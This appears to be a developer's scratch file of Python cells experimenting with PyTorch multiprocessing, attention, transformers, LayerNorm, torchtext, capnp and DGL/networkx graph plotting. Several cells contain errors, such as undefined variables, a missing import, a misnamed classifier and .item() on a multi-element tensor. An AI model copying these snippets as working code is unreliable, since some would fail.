- do we need num_workers=0, 1 or 2? (one for main thread other for pre-fetching batches)
- run test and check that the 112 process do improve the time for a loop (add progress part for dataloder
docs: https://pytorch.org/docs/stable/multiprocessing.html#module-torch.multiprocessing
(original python mp, they are compatible: https://docs.python.org/3/library/multiprocessing.html)
"""
# def train(cpu_parallel=True):
# num_cpus = get_num_cpus() # 112 is the plan for intel's clsuter as an arparse or function
# model.shared_memory() # TODO do we need this?
# # add progressbar for data loader to check if multiprocessing is helping
# for batch_idx, batch in dataloader:
# # do this mellow with pool when cpu_parallel=True
# with Pool(num_cpus) as pool:
# losses = pool.map(target=model.forward, args=batch)
# loss = torch.sum(losses)
# # now do .step as normal
# https://github.com/pytorch/examples/blob/master/mnist/main.py
import torch
import torch.nn as nn
from torch.optim.lr_scheduler import StepLR
from torch.utils.data import Dataset, DataLoader
from torch.multiprocessing import Pool
class SimpleDataSet(Dataset):
def __init__(self, Din, num_examples=23):
self.x_dataset = [torch.randn(Din) for _ in range(num_examples)]
# target function is x*x
self.y_dataset = [x ** 2 for x in self.x_dataset]
def __len__(self):
return len(self.x_dataset)
def __getitem__(self, idx):
return self.x_dataset[idx], self.y_dataset[idx]
def get_loss(args):
x, y, model = args
y_pred = model(x)
criterion = nn.MSELoss()
loss = criterion(y_pred, y)
return loss
def get_dataloader(D, num_workers, batch_size):
ds = SimpleDataSet(D)
dl = DataLoader(ds, batch_size=batch_size, num_workers=num_workers)
return dl
def train_fake_data():
num_workers = 2
Din, Dout = 3, 1
model = nn.Linear(Din, Dout).share_memory()
optimizer = torch.optim.Adam(model.parameters(), lr=0.1)
batch_size = 2
num_epochs = 10
# num_batches = 5
num_procs = 5
dataloader = get_dataloader(Din, num_workers, batch_size)
scheduler = StepLR(optimizer, step_size=1, gamma=0.7)
for epoch in range(num_epochs):
for _, batch in enumerate(dataloader):
batch = [(torch.randn(Din), torch.randn(Dout), model) for _ in batch]
with Pool(num_procs) as pool:
optimizer.zero_grad()
losses = pool.map(get_loss, batch)
loss = torch.mean(losses)
loss.backward()
optimizer.step()
# scheduler
scheduler.step()
if __name__ == '__main__':
# start = time.time()
# train()
train_fake_data()
# print(f'execution time: {time.time() - start}')
# %%
"""
The distributed package included in PyTorch (i.e., torch.distributed) enables researchers and practitioners to
easily parallelize their computations across processes and clusters of machines.
As opposed to the multiprocessing (torch.multiprocessing) package, processes can use different communication backends
and are not restricted to being executed on the same machine.
https://pytorch.org/tutorials/intermediate/dist_tuto.html
"""
"""run.py:"""
# !/usr/bin/env python
import os
import torch
import torch.distributed as dist
from torch.multiprocessing import Process
def run(rank, size):
"""
Distributed function to be implemented later.
This is the function that is actually ran in each distributed process.
"""
pass
def init_process_and_run_parallel_fun(rank, size, fn, backend='gloo'):
"""
Initialize the distributed environment (for each process).
gloo: is a collective communications library (https://github.com/facebookincubator/gloo). My understanding is that
it's a library for process to communicate/coordinate with each other/master. It's a backend library.
"""
# set up the master's ip address so this child process can coordinate
os.environ['MASTER_ADDR'] = '127.0.0.1'
os.environ['MASTER_PORT'] = '29500'
# TODO: I think this is what makes sure that each process can talk to master,
dist.init_process_group(backend, rank=rank, world_size=size)
# run parallel function
fn(rank, size)
if __name__ == "__main__":
size = 2
processes = []
for rank in range(size):
# target is the function the (parallel) process will run with args
p = Process(target=init_process_and_run_parallel_fun, args=(rank, size, run))
p.start() # start process
processes.append(p)
# wait for all processes to finish by blocking one by one (this code could be problematic see spawn: https://pytorch.org/docs/stable/multiprocessing.html#spawning-subprocesses )
for p in processes:
p.join() # blocks until p is done
# %%
# split string
print("asdf-ghjkl;".split('-'))
# %%
# what happens if we do a .item of a vector
x = torch.randn(1)
print(x.item())
y = torch.randn(1, 1)
print(y.item())
z = torch.randn(1, 4)
print(z.item())
# %%
# attention mechanism from transformers
# inspired from but slightly modified to match equations from paper properly (better vectorization)
# https://towardsdatascience.com/illustrated-self-attention-2d627e33b20a
# -- get data set, each row is an input [N by D] --
import torch
x = [
[1.0, 0, 1, 0], # Input 1
[0, 2, 0, 2], # Input 2
[1, 1, 1, 1] # Input 3
]
x = torch.tensor(x)
print('Usual design matrix where the rows N is the # of examples and D columns the features [N, D]')
print(f'X = [N, D] = {x.size()}\n')
# -- get query, key, value matrices
w_key = [
[0.0, 0, 1],
[1, 1, 0],
[0, 1, 0],
[1, 1, 0]
]
w_query = [
[1.0, 0, 1],
[1, 0, 0],
[0, 0, 1],
[0, 1, 1]
]
w_value = [
[0.0, 2, 0],
[0, 3, 0],
[1, 0, 3],
[1, 1, 0]
]
w_key = torch.tensor(w_key)
w_query = torch.tensor(w_query)
w_value = torch.tensor(w_value)
print(f'w_key = [D, D_k] = {w_key.size()}')
print(f'w_qry = [D, D_qry] = {w_query.size()}')
print(f'w_val = [D, D_v] = {w_value.size()}\n')
# -- get Q, K, V matrices for each inputs --
keys = x @ w_key
querys = x @ w_query
values = x @ w_value # [N, D] [D, Dv] = [N, Dv]
# print(keys)
# print(querys)
# print(values)
print(f'keys = K = [N, D_k] = {keys.size()}')
print(f'qry = Q = [N, D_q] = {querys.size()}')
print(f'val = V = [N, D_v] = {values.size()}\n')
# -- calculate attention socres --
# [q1 ; q2; q3 ] @ [k1, k2, k3]
attn_scores = querys @ keys.T
print('Attention scores Q @ K.T')
print(f'attn_scores = [N, N] = {attn_scores.size()}')
print(f'each row i indicates how query values for input i compares to the keys for all others inputs\n')
# -- get real attention --
# have rows sum to 1
attn_scores_softmax = attn_scores.softmax(dim=1)
print(attn_scores_softmax[0, :].sum())
print(attn_scores_softmax[0, :])
print('a[0,0]=<q0, k0>, a[0,1]=<q0,k1> , a[0,2]=<q0,k2>')
# print(attn_scores_softmax)
print(
'Thus, each row i is a (normalized) weight [0,1] indicating how much each qry input i compares to all others inputs keys')
# For readability, approximate the above as follows
attn_scores_softmax = [
[0.0, 0.5, 0.5],
[0.0, 1.0, 0.0],
[0.0, 0.9, 0.1]
]
attn_scores_softmax = torch.tensor(attn_scores_softmax)
# -- --
# the output of attention from the tutorial:
print((values[:, None] * attn_scores_softmax.T[:, :, None]).sum(dim=0))
# using the equation from the paper [N, N] [N, Dv] = [N, Dv]
sf_qk_v = attn_scores_softmax @ values
print('Here is the attentted "context" vectors!')
print(f'Atten(QK.T) @ V = A*V = [N, Dv] = {sf_qk_v.size()}')
print(sf_qk_v)
print((values[:, None] * attn_scores_softmax.T[:, :, None]).sum(dim=0))
print('Each row i is a context vector weighted with qry i with all keys for 1...Tx by vectors v 1...Tx')
print('i.e. AV[i,:] = sum^Tx_{t=1} a[i,t] v[:,i]')
# %%
#
# from pathlib import Path
# from types import SimpleNamespace
# from torch.utils.tensorboard import SummaryWriter
#
# import pickle
#
# args = SimpleNamespace(log_dir=Path('~/Desktop/').expanduser())
# tb = import torch
#
# class ResNet(torch.nn.Module):
# def __init__(self, module):
# super().__init__()
# self.module = module
#
# def forward(self, inputs):
# return self.module(inputs) + inputsSummaryWriter(log_dir=args.log_dir) # uncomment for documentation to work
#
# # TypeError: cannot pickle 'tensorflow.python._pywrap_file_io.WritableFile' object
# pickle.dump(tb, open(args.log_dir / 'tb_test' ,'w'))
# %%
import torch
class ResNet(torch.nn.Module):
def __init__(self, module):
super().__init__()
self.module = module
def forward(self, inputs):
return self.module(inputs) + inputs
#
# mdl = nn.Sequential()
# %%
# layer norm
import torch.nn as nn
input = torch.randn(20, 5, 10, 10)
# With Learnable Parameters
m = nn.LayerNorm(input.size()[1:])
# Without Learnable Parameters
m = nn.LayerNorm(input.size()[1:], elementwise_affine=False)
# Normalize over last two dimensions
m = nn.LayerNorm([10, 10])
# Normalize over last dimension of size 10
m = nn.LayerNorm(10)
# Activating the module
output = m(input)
input = torch.randn(20, 256)
# With Learnable Parameters
m = nn.LayerNorm(normalized_shape=256)
# Without Learnable Parameters
# m = nn.LayerNorm(input.size()[1:], elementwise_affine=False)
# Normalize over last two dimensions
# m = nn.LayerNorm([10, 10])
# Normalize over last dimension of size 10
# m = nn.LayerNorm(10)
# Activating the module
output = m(input)
print(output.size())
print('-- testing batch size 1 --')
input = torch.randn(1, 256)
# With Learnable Parameters
m = nn.LayerNorm(normalized_shape=256)
# Without Learnable Parameters
# m = nn.LayerNorm(input.size()[1:], elementwise_affine=False)
# Normalize over last two dimensions
# m = nn.LayerNorm([10, 10])
# Normalize over last dimension of size 10
# m = nn.LayerNorm(10)
# Activating the module
output = m(input)
print(output.size())
# %%
# f string formatting
# https://miguendes.me/73-examples-to-help-you-master-pythons-f-strings#how-to-add-leading-zeros
# fixed digits after f f-string
print(f'{10.1234:.2f}')
# add 5 leading zeros (note you need the 0 infront of 5
print(f'{42:05}')
num = 42
f"{num:05}"
'00042'
f'{num:+010}'
'+000000042'
f'{num:-010}'
'0000000042'
f"{num:010}"
'0000000042'
num = -42
f'{num:+010}'
'-000000042'
f'{num:010}'
'-000000042'
f'{num:-010}'
'-000000042'
# %%
# https://pytorch.org/docs/stable/generated/torch.nn.Transformer.html
# https://pytorch.org/tutorials/beginner/transformer_tutorial.html
# src = torch.rand((10, 32, 512))
# tgt = torch.rand((20, 32, 512))
# out = transformer_model(src, tgt)
# %%
loss = nn.CrossEntropyLoss()
input = torch.randn(3, 5, requires_grad=True)
print(input.dtype)
target = torch.empty(3, dtype=torch.long).random_(5)
print(target.dtype)
output = loss(input, target)
output.backward()
# %%
print(spt_logits_t.dtype)
print(spt_y_t.dtype)
inner_loss = self.args.criterion(spt_logits_t, spt_y_t)
# %%
# view(-1), view(-1, 1)
# https://stackoverflow.com/questions/50792316/what-does-1-mean-in-pytorch-view
# the actual value for this dimension will be inferred so that the number of elements in the view matches
# the original number of elements.
import torch
x = torch.randn(1, 5)
x = x.view(-1)
print(x.size())
x = torch.randn(2, 4)
x = x.view(-1, 8)
print(x.size())
x = torch.randn(2, 4)
x = x.view(-1)
print(x.size())
x = torch.randn(2, 4, 3)
x = x.view(-1)
print(x.size())
# %%
import torch
x = torch.randn(torch.Size([5, 1028]))
y = torch.randn(torch.Size([5, 1028]))
# x = (y == x).view(-1)
x = (y == x).reshape(-1)
print(x.size())
# %%
# contiguous vs non-contiguous tensors
# https://discuss.pytorch.org/t/contigious-vs-non-contigious-tensor/30107
# seems view vs reshape care about
# note that sometimes `view` doesn't work due
# to contiguous/non-contiguous memory so call `reshape(...)`
# instead: https://discuss.pytorch.org/t/contigious-vs-non-contigious-tensor/30107 and see https://stackoverflow.com/questions/49643225/whats-the-difference-between-reshape-and-view-in-pytorch
# https://stackoverflow.com/questions/48915810/pytorch-contiguous
# https://stackoverflow.com/questions/54095351/in-pytorch-what-makes-a-tensor-have-non-contiguous-memory
# https://stackoverflow.com/questions/42479902/how-does-the-view-method-work-in-pytorch
# %%
# nhttps://pytorch.org/transformers_pytorch/beginner/transformer_tutorial.html
# positional encoder pytorch
# transformer docs
# where S is the source sequence length,
# T is the target sequence length, N is the batch size, E is the feature number
import torch
import torch.nn as nn
class PositionalEncoding(nn.Module):
def __init__(self, d_model, dropout=0.1, max_len=5000):
super(PositionalEncoding, self).__init__()
self.dropout = nn.Dropout(p=dropout)
pe = torch.zeros(max_len, d_model)
position = torch.arange(0, max_len, dtype=torch.float).unsqueeze(1)
div_term = torch.exp(torch.arange(0, d_model, 2).float() * (-math.log(10000.0) / d_model))
pe[:, 0::2] = torch.sin(position * div_term)
pe[:, 1::2] = torch.cos(position * div_term)
pe = pe.unsqueeze(0).transpose(0, 1)
self.register_buffer('pe', pe)
def forward(self, x):
x = x + self.pe[:x.size(0), :]
return self.dropout(x)
transformer_model = nn.Transformer(nhead=16, num_encoder_layers=12)
src = torch.rand((10, 32, 512))
tgt = torch.rand((20, 32, 512))
out = transformer_model(src, tgt)
# generate_square_subsequent_mask(sz)[SOURCE]
# Generate a square mask for the sequence.
# The masked positions are filled with float(‘-inf’).
# Unmasked positions are filled with float(0.0).
# output = transformer_model(src, tgt, src_mask=src_mask, tgt_mask=tgt_mask)
# Transformer Layers
# nn.Transformer
#
# A transformer model.
#
# nn.TransformerEncoder
#
# TransformerEncoder is a stack of N encoder layers
#
# nn.TransformerDecoder
#
# TransformerDecoder is a stack of N decoder layers
#
# nn.TransformerEncoderLayer
#
# TransformerEncoderLayer is made up of self-attn and feedforward network.
#
# nn.TransformerDecoderLayer
#
# TransformerDecoderLayer is made up of self-attn, multi-head-attn and feedforward network.
print(out.size())
# %%
# attention
# where S is the source sequence length, T is the target sequence length, N is the batch size, E is the feature number
# src: (S, N, E)(S,N,E) .
# tgt: (T, N, E)(T,N,E) .
# src_mask: (S, S)(S,S) .
# tgt_mask: (T, T)(T,T)
import torch
import torch.nn as nn
batch_size = 4
S = 12
T = 17
d_model = 8
nhead = 1
transformer_model = nn.Transformer(d_model=d_model, nhead=nhead, num_decoder_layers=6, num_encoder_layers=6)
src = torch.rand((S, batch_size, d_model))
tgt = torch.rand((T, batch_size, d_model))
out = transformer_model(src, tgt)
print(out.size())
mha = nn.MultiheadAttention(embed_dim=d_model, num_heads=nhead)
qry = src
key = src
value = src
out = mha(qry, key, value)
print(len(out))
# Shapes for outputs:
# attn_output: (L, N, E) where L is the target sequence length, N is the batch size, E is the embedding dimension.
# attn_output_weights: (N, L, S) where N is the batch size,
# L is the target sequence length, S is the source sequence length.
print(out[0].size())
print(out[1].size())
# %%
# https://stackoverflow.com/questions/52981833/sklearn-python-log-loss-for-logistic-regression-evaluation-raised-an-error/66569833#66569833
from sklearn.datasets import load_iris
from sklearn.linear_model import LogisticRegression
from sklearn import metrics
X, y = load_iris(return_X_y=True)
clf = LogisticRegression(random_state=0).fit(X, y)
clf.predict(X[:2, :])
clf.predict_proba(X[:2, :])
clf.score(X, y)
y_probs = cls.predict_proba(X)
qry_loss_t = metrics.log_loss(y, y_probs)
# %%
# refs:
# https://stackoverflow.com/questions/51503851/calculate-the-accuracy-every-epoch-in-pytorch
# https://discuss.pytorch.org/t/how-to-calculate-accuracy-in-pytorch/80476/5
# https://discuss.pytorch.org/t/how-does-one-get-the-predicted-classification-label-from-a-pytorch-model/91649
# how to get the class prediction
batch_size = 4
n_classes = 2
y_logits = torch.randn(batch_size, n_classes) # usually the scores
print('scores (logits) for each class for each example in batch (how likely a class is unnormalized)')
print(y_logits)
print('the max over entire tensor (not usually what we want)')
print(y_logits.max())
print('the max over the n_classes dim. For each example in batch returns: '
'1) the highest score for each class (most likely class)\n, and '
'2) the idx (=class) with that highest score')
print(y_logits.max(1))
print('-- calculate accuracy --')
# computing accuracy in pytorch
"""
random.choice(a, size=None, replace=True, p=None)
Generates a random sample from a given 1-D array
for pytorch random choice https://stackoverflow.com/questions/59461811/random-choice-with-pytorch
"""
import torch
import torch.nn as nn
in_features = 1
n_classes = 10
batch_size = n_classes
mdl = nn.Linear(in_features=in_features, out_features=n_classes)
x = torch.randn(batch_size, in_features)
y_logits = mdl(x) # scores/logits for each example in batch [B, n_classes]
# get for each example in batch the label/idx most likely according to score
# y_max_idx[b] = y_pred[b] = argmax_{idx \in [n_classes]} y_logit[idx]
y_max_scores, y_max_idx = y_logits.max(dim=1)
y_pred = y_max_idx # predictions are really the inx \in [n_classes] with the highest scores
y = torch.randint(high=n_classes, size=(batch_size,))
# accuracy for 1 batch
assert (y.size(0) == batch_size)
acc = (y == y_pred).sum() / y.size(0)
acc = acc.item()
print(y)
print(y_pred)
print(acc)
# %%
# topk accuracy
# torch.topk = Returns the k largest elements of the given input tensor along a given dimension.
import torch
batch_size = 2
n_classes = 3
y_logits = torch.randn(batch_size, n_classes)
print('- all values in tensor x')
print(y_logits)
print('\n- for each example in batch get top 2 most likely values & classes/idx (since dim=1 is the dim for classes)'
'\n1) first are the actual top 2 scores & 2) then the indicies/classes corresponding those largest scores')
print(y_logits.topk(k=2, dim=1))
# %%
from copy import deepcopy
from pathlib import Path
path_cluster = '/home/miranda9/data/logs/logs_Mar06_11-15-02_jobid_0_pid_3657/tb'
path_cluster_intel = '/homes/miranda9/data/logs/logs_Dec04_15-49-00_jobid_446010.iam-pbs/tb'
path_vision = '/home/miranda9/data/logs/logs_Dec04_18-39-14_jobid_1528/tb'
dirs = path_cluster.split('/')
for dir_name in deepcopy(dirs):
if dir_name == 'data':
break
else:
dirs.pop(0)
dirs = ['~'] + dirs
dirs = '/'.join(dirs)
dir = Path(dirs).expanduser()
path_cluster.replace('/home/miranda9/', '~')
print(dir)
# %%
# floats f-string
var = 1.0
print(f'{var}')
# f adds many ugly 0's
var = 1
print(f'{var:f}')
var = 0.0001
print(f'{var}')
# ok it truncates, no!
var = 1.0
print(f'{var:.2f}')
var = 0.0001
print(f'{var:.2f}')
# %%
import bisect
from collections import OrderedDict
p = 0
x = bisect.bisect_left([10, 20], p)
print(x)
p = 10
x = bisect.bisect_left([10, 20], p)
print(x)
p = 11
x = bisect.bisect_left([10, 20], p)
print(x)
p = 21
x = bisect.bisect_left([10, 20], p)
print(x)
#
# p = 10
# x = bisect.bisect_left(OrderedDict({10: 'a', 11: 'b'}), p)
# print()
# %%
# for indexing into an interval to get the index the value corresponds to
import bisect
flatten_lst_files = ['f1', 'f2', 'f3']
cummulative_end_index = [4, 5 + 6, 5 + 7 + 1]
print(cummulative_end_index)
files = {'f1': list(range(5)), 'f2': list(range(7)), 'f3': list(range(2))}
def get_lower_cummulative(file_idx):
if file_idx == 0:
return file_idx
else:
return cummulative_end_index[file_idx - 1] + 1
def get_node_idx(idx):
# gets the index for the value we want
file_idx = bisect.bisect_left(cummulative_end_index, idx)
# now get the actual value
file = flatten_lst_files[file_idx]
print(file)
lower_cummulative_val = get_lower_cummulative(file_idx)
node_idx = idx - lower_cummulative_val
# print(node_idx)
node = files[file][node_idx]
# print(node)
return node
for idx in range(5 + 7 + 2):
node = get_node_idx(idx)
print(node)
print()
# %%
# computing cummulative sums counts frequencies
import pandas as pd
# importing numpy module
import numpy as np
# making list of values
values = [3, 4, 7, 2, 0]
# making series from list
series = pd.Series(values)
# calling method
cumsum = list(series.cumsum())
cumsum = np.array(series.cumsum())
# display
print(cumsum)
# %%
# splitting list of files into 3 train, val, test
import numpy as np
def split_two(lst, ratio=[0.5, 0.5]):
assert (np.sum(ratio) == 1.0) # makes sure the splits make sense
train_ratio = ratio[0]
# note this function needs only the "middle" index to split, the remaining is the rest of the split
indices_for_splittin = [int(len(lst) * train_ratio)]
train, test = np.split(lst, indices_for_splittin)
return train, test
def split_three(lst, ratio=[0.8, 0.1, 0.1]):
import numpy as np
train_r, val_r, test_r = ratio
assert (np.sum(ratio) == 1.0) # makes sure the splits make sense
# note we only need to give the first 2 indices to split, the last one it returns the rest of the list or empty
indicies_for_splitting = [int(len(lst) * train_r), int(len(lst) * (train_r + val_r))]
train, val, test = np.split(lst, indicies_for_splitting)
return train, val, test
files = list(range(10))
train, test = split_two(files)
print(train, test)
train, val, test = split_three(files)
print(train, val, test)
# %%
from typing import List, NewType
# https://stackoverflow.com/questions/33045222/how-do-you-alias-a-type-in-python
Vector = List[float] # alias shortens
URL = NewType("URL", str) # new type
# this is better since URL is a string but any string is NOT usually a URL
print(URL is str)
# %%
# convert list of ints to tensor
import torch
y_batch = [944104324, 146561759, 938461041, 1035383419]
y_batch = torch.tensor(y_batch)
print(y_batch)
print(type(y_batch))
print(y_batch.dtype)
# %%
# counter
from collections import Counter
vocab = Counter()
lst = [1, 2, 2, 3, 3, 3, 4, 4, 4, 4]
for elem in lst:
vocab.update([elem])
print(vocab)
vocab.update(lst)
print(vocab)
print(Counter(['a', 'a', 'b']))
# Counter({'R': 1, 'A': 1, 'Coq.Relations.Relation_Operators.clos_refl_trans': 1, '0': 1})
# vocab.update(['adsf'])
# vocab
# Counter({'R': 1, 'A': 1, 'Coq.Relations.Relation_Operators.clos_refl_trans': 1, '0': 1, 'adsf': 1})
# Counter(a=0)
# Counter({'a': 0})
# vocab.update({'qwert':0}
# %%
from argparse import Namespace
opts = Namespace(rank=-1, world_size=0, batch_size=4, split='train', num_workers=0)
opts.path2dataprep = Path('~/data/lasse_datasets_coq/dag_data_prep.pt').expanduser()
opts.path2vocabs = Path('~/data/lasse_datasets_coq/dag_counters.pt').expanduser()
opts.path2hash2idx = Path('~/data/lasse_datasets_coq/dag_hash2index.pt').expanduser()
counters = torch.load(opts.path2vocabs)
vocab = counters['leafs_counter']
constructors = counters['cons_counter']
db_hash2idx = torch.load(opts.path2hash2idx)
hash2idx = db_hash2idx['hash2idx']
num_tactic_hashes = len(hash2idx.keys())
# %%
# https://pytorch.org/tutorials/beginner/text_sentiment_ngrams_tutorial.html
import torchtext
from collections import Counter
# text_pipeline = lambda x: [vocab[token] for token in tokenizer(x)]
# label_pipeline = lambda x: int(x) - 1
counter = Counter()
counter.update(['a', 'a', 'a', 'bob', 'bob', 'cat', 'dog'])
print(counter)
vocab = torchtext.vocab.Vocab(counter)
vocab2 = torchtext.vocab.Vocab(counter, min_freq=2)
print(vocab)
# print('a' in vocab)
print(vocab['a'])
print(vocab['bob'])
print(vocab['cat'])
print(vocab['dog'])
print(vocab['asdf'])
print()
print(vocab2['a'])
print(vocab2['bob'])
print(vocab2['cat'])
print(vocab2['dog'])
print(vocab['asdf'])
print()
print(len(vocab))
# text_pipeline = lambda x: [vocab[token] for token in tokenizer(x)]
#
# from torch.utils.data import DataLoader
# device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
#
# def collate_batch(batch):
# label_list, text_list, offsets = [], [], [0]
# for (_label, _text) in batch:
# label_list.append(label_pipeline(_label))
# processed_text = torch.tensor(text_pipeline(_text), dtype=torch.int64)
# text_list.append(processed_text)
# offsets.append(processed_text.size(0))
# label_list = torch.tensor(label_list, dtype=torch.int64)
# offsets = torch.tensor(offsets[:-1]).cumsum(dim=0)
# text_list = torch.cat(text_list)
# return label_list.to(device), text_list.to(device), offsets.to(device)
#
# train_iter = AG_NEWS(split='train')
# dataloader = DataLoader(train_iter, batch_size=8, shuffle=False, collate_fn=collate_batch)
# %%
import torch
x = torch.randn([1, 4])
y = torch.randn([1, 4])
xy = torch.stack([x, y])
print(xy.size())
xy = torch.cat([x, y])
print(xy.size())
# %%
"""
python -m memory_profiler file.py
"""
# %%
# list of letters
letters = ['a', 'b', 'd', 'e', 'i', 'j', 'o']
# function that filters vowels
def filter_vowels(letter):
vowels = ['a', 'e', 'i', 'o', 'u']
if letter in vowels:
return True
else:
return False
print(filter)
filtered_vowels = filter(filter_vowels, letters)
print('The filtered vowels are:')
for vowel in filtered_vowels:
print(vowel)
# %%
# The filter() method constructs an iterator from elements of an iterable for which a function returns true.
# filter things that are not None, i.e. we want to keep things that are not None.
list2filter = ['a', 'b', None]
print(list2filter)
filteredlist = filter(lambda x: x is not None, list2filter)
print(list(filteredlist))
# this is much better: https://stackoverflow.com/questions/61925671/use-only-some-items-in-a-list-comprehension
# %%
import capnp
# import dag_api_capnp
capnp.remove_import_hook()
try:
# first try to see if we are running a benchmark & the capnp schema is in the share conda folder
dag_api_capnp = str(Path(os.environ['CONDA_PREFIX'] + '/share/dag_api.capnp').expanduser())
dag_api_capnp = capnp.load(dag_api_capnp)
except:
# else run the one in the main project folder
dag_api_capnp = str(Path('~/coq-tactician-graph/src/dag_api.capnp').expanduser())
dag_api_capnp = capnp.load(dag_api_capnp)
# %%
import capnp
capnp.remove_import_hook()
example_msg_capnp = Path("/tutorials_for_myself/example_msg.capnp").expanduser()
example_msg_capnp = capnp.load(str(example_msg_capnp))
# Building
addresses = example_msg_capnp.AddressBook.newMessage()
people = addresses.init('people', 1)
# %%
# python index slicing
lst = [1, 2, 3, 4]
print(lst[:0])
print(lst[:1])
print(lst[:2])
# its non inclusive
# %%
import dgl.data
dataset = dgl.data.CoraGraphDataset()
print('Number of categories:', dataset.num_classes)
# %%
import dgl
import numpy as np
import torch
g = dgl.graph(([0, 0, 0, 0, 0], [1, 2, 3, 4, 5]), num_nodes=6)
u = np.concatenate([src, dst])
v = np.concatenate([dst, src])
# Construct a DGLGraph
dgl.DGLGraph((u, v))
# %%
import dgl
import numpy as np
import torch
import networkx as nx
import matplotlib.pyplot as plt
g = dgl.graph(([0, 0, 0, 0, 0], [1, 2, 3, 4, 5]), num_nodes=6)
print(f'{g=}')
print(f'{g.edges()=}')
# Since the actual graph is undirected, we convert it for visualization purpose.
nx_G = g.to_networkx().to_undirected()
print(f'{nx_G=}')
# Kamada-Kawaii layout usually looks pretty for arbitrary graphs
pos = nx.kamada_kawai_layout(nx_G)
nx.draw(nx_G, pos, with_labels=True)
plt.show()
# %%
# https://stackoverflow.com/questions/28533111/plotting-networkx-graph-with-node-labels-defaulting-to-node-name
import dgl
import numpy as np
import torch
import networkx as nx
import matplotlib.pyplot as plt
g = dgl.graph(([0, 0, 0, 0, 0], [1, 2, 3, 4, 5]), num_nodes=6)
print(f'{g=}')
print(f'{g.edges()=}')
# Since the actual graph is undirected, we convert it for visualization purpose.
g = g.to_networkx().to_undirected()
print(f'{g=}')
labels = {0: "app", 1: "cons", 2: "with", 3: "app3", 4: "app4", 5: "app5"}
# Kamada-Kawaii layout usually looks pretty for arbitrary graphs
pos = nx.kamada_kawai_layout(g)
nx.draw(g, pos, labels=labels, with_labels=True)
plt.show()
# %%
from graphviz import Digraph
g = Digraph('G', filename='hello2.gv')
print(f'{g=}')
g.edge('Hello', 'World')
g.view()
# %%
import dgl
import numpy as np
import torch
import networkx as nx
import matplotlib.pyplot as plt
g = dgl.graph(([0, 0, 0, 0, 0], [1, 2, 3, 4, 5]), num_nodes=6)
print(f'{g=}')
print(f'{g.edges()=}')
# Since the actual graph is undirected, we convert it for visualization purpose.
g = g.to_networkx().to_undirected()
g = nx.nx_agraph.to_agraph(g)
g.layout()
# g.draw()
g.draw("file.png")
print(f'{g=}')
# plt.show()
# from IPython.display import Image, display
#
# def view_pydot(pdot):
# plt = Image(pdot.create_png())
# display(plt)
#
# view_pydot(g)
# %%
# https://stackoverflow.com/questions/28533111/plotting-networkx-graph-with-node-labels-defaulting-to-node-name
import dgl
import numpy as np
import torch
import networkx as nx
import matplotlib.pyplot as plt
g = dgl.graph(([0, 0, 0, 0, 0], [1, 2, 3, 4, 5]), num_nodes=6)
print(f'{g=}')
print(f'{g.edges()=}')
# Since the actual graph is undirected, we convert it for visualization purpose.
g = g.to_networkx().to_undirected()
print(f'{g=}')
# relabel
int2label = {0: "app", 1: "cons", 2: "with", 3: "app3", 4: "app4", 5: "app5"}
g = nx.relabel_nodes(g, int2label)
# Kamada-Kawaii layout usually looks pretty for arbitrary graphs
pos = nx.kamada_kawai_layout(g)
nx.draw(g, pos, with_labels=True)
plt.show()
#%%
# https://stackoverflow.com/questions/28533111/plotting-networkx-graph-with-node-labels-defaulting-to-node-name
import dgl
import numpy as np
import torch
import networkx as nx
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
from pathlib import Path
g = dgl.graph(([0, 0, 0, 0, 0], [1, 2, 3, 4, 5]), num_nodes=6)
print(f'{g=}')
print(f'{g.edges()=}')
# Since the actual graph is undirected, we convert it for visualization purpose.
g = g.to_networkx().to_undirected()
print(f'{g=}')
# relabel
int2label = {0: "app", 1: "cons", 2: "with", 3: "app3", 4: "app4", 5: "app5"}
g = nx.relabel_nodes(g, int2label)
# https://networkx.org/documentation/stable/reference/drawing.html#module-networkx.drawing.layout
g = nx.nx_agraph.to_agraph(g)
print(f'{g=}')
print(f'{g.string()=}')
# draw
g.layout()
g.draw("file.png")
# https://stackoverflow.com/questions/20597088/display-a-png-image-from-python-on-mint-15-linux
img = mpimg.imread('file.png')
plt.imshow(img)
plt.show()
# remove file https://stackoverflow.com/questions/6996603/how-to-delete-a-file-or-folder
Path('./file.png').expanduser().unlink()
# import os
# os.remove('./file.png')
# %%
# networkx to dgl: https://docs.dgl.ai/en/0.6.x/generated/dgl.from_networkx.html
import dgl
import networkx as nx
import numpy as np
import torch
nx_g = nx.DiGraph()
# Add 3 nodes and two features for them
nx_g.add_nodes_from([0, 1, 2], feat1=np.zeros((3, 1)), feat2=np.ones((3, 1)))
# Add 2 edges (1, 2) and (2, 1) with two features, one being edge IDs
nx_g.add_edge(1, 2, weight=np.ones((1, 1)), eid=np.array([1]))
nx_g.add_edge(2, 1, weight=np.ones((1, 1)), eid=np.array([0]))
g = dgl.from_networkx(nx_g)
# ... https://docs.dgl.ai/en/0.6.x/generated/dgl.from_networkx.html
# %%
import networkx as nx
import matplotlib.pyplot as plt
G = nx.Graph()
G.add_node('a')
G.add_node('b', attr1='cons')
print(f'{G=}')
pos = nx.kamada_kawai_layout(G)
nx.draw(G, pos, with_labels=True)
plt.show()
# adding reated edges and nodes: https://stackoverflow.com/questions/28488559/networkx-duplicate-edges/51611005
#%%
import pylab
import networkx as nx
g=nx.Graph()
g.add_node('Golf',size='small')
g.add_node('Hummer',size='huge')
g.add_edge('Golf','Hummer')
labels = nx.get_node_attributes(g, 'size')
pos = nx.kamada_kawai_layout(g)
nx.draw(g, pos, labels=labels, with_labels=True)
# nx.draw(g, labels=labels)
pylab.show()
#%%
import dgl
import numpy as np
import torch
import networkx as nx
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
from pathlib import Path
g = dgl.graph(([0, 0, 0, 0, 0], [1, 2, 3, 4, 5]), num_nodes=6)
print(f'{g=}')
print(f'{g.edges()=}')
# Since the actual graph is undirected, we convert it for visualization purpose.
g = g.to_networkx().to_undirected()
print(f'{g=}')
# relabel
int2label = {0: "app", 1: "cons", 2: "with", 3: "app3", 4: "app4", 5: "app"}
g = nx.relabel_nodes(g, int2label)
# https://networkx.org/documentation/stable/reference/drawing.html#module-networkx.drawing.layout
g = nx.nx_agraph.to_agraph(g)
print(f'{g=}')
print(f'{g.string()=}')
# draw
g.layout()
g.draw("file.png")
# https://stackoverflow.com/questions/20597088/display-a-png-image-from-python-on-mint-15-linux
img = mpimg.imread('file.png')
plt.imshow(img)
